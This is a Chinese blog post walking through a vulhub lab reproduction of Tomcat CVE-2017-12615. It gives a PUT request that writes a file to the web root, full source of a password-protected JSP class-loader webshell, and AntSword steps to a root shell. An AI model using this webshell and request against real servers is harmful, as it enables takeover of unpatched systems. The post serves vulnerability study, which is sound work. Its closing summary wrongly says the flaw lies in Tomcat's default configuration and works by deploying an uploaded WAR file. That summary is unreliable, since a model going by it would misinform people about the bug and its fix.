Tomcat8 任意写文件PUT方法 (CVE-2017-12615)

Tomcat 任意写文件PUT方法 (CVE-2017-12615)

1 在线漏洞解读:

https://vulhub.org/#/environments/tomcat/CVE-2017-12615/

在这里插入图片描述

2 版本影响

​ Tomcat version: 8.5.19

3 环境搭建

cd /home/kali/vulhub/tomcat/CVE-2017-12615

在这里插入图片描述

环境启动:

sudo docker-compose up -d

sudo docker ps -a

已启动:访问端口8091

在这里插入图片描述

4 漏洞复现

4.1 访问

​ 4.1 访问http://192.168.225.166:8091/看到Tomcat示例页面,发现8.5.19版本后台管理是不允许登录的

在这里插入图片描述
在这里插入图片描述

4.2 POC攻击点
4.2.1 直接发送以下数据包,然后shell将被写入Web根目录。
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell
4.2.2 访问是否通,可以访问到文件

在这里插入图片描述

5 漏洞利用

5.1 上传jsp一句话
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>
5.2 kali打开蚁剑:
┌──(kali💋kali)-[~]
└─$ sudo antsword 
5.3 连接jsp一句话木马,密码为 passwd

在这里插入图片描述

5.4 打开终端,获取root

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CVE-2017-12615是一个由Apache Tomcat服务器引起的漏洞,它存在于Tomcat服务器的默认配置中。该漏洞使得攻击者能够通过进行远程命令执行来获取服务器的控制权。 该脚本的实现过程如下: 1. 首先,通过发送特制的HTTP请求,攻击者可以将恶意的Web应用程序(如war文件)上传到Tomcat服务器中。 2. 接下来,攻击者发送另一个特制的HTTP请求,触发Tomcat服务器对上传的Web应用程序进行部署。 3. 当Tomcat服务器部署恶意的Web应用程序时,该程序中的恶意代码将被执行。 4. 攻击者可以在恶意代码中包含任意的系统命令,从而实现远程命令执行。 5. 一旦成功执行命令,攻击者就能够在服务器上执行各种操作,例如文件读取/入、系统信息获取等。 为了防御CVE-2017-12615漏洞,可以采取以下措施: 1. 及时更新和升级Apache Tomcat服务器,确保使用的版本没有漏洞。 2. 将Apache Tomcat和其他组件配置为具有最低特权,以减少潜在攻击者的影响范围。 3. 限制对Tomcat管理接口的访问,并使用强密码和多因素身份验证来保护管理接口。 4. 定期检查服务器上是否存在未知的应用程序文件或恶意代码,并将其删除。 5. 在Tomcat服务器上使用Web应用程序防火墙,以检测和阻止恶意HTTP请求。 6. 实施网络入侵检测系统(IDS)和入侵防御系统(IPS),以便及时检测和阻止攻击。 综上所述,CVE-2017-12615是一个严重的远程代码执行漏洞,攻击者通过利用该漏洞可以获取Tomcat服务器的控制权。为了避免受到此漏洞的攻击,我们必须采取一系列措施来确保Tomcat服务器的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值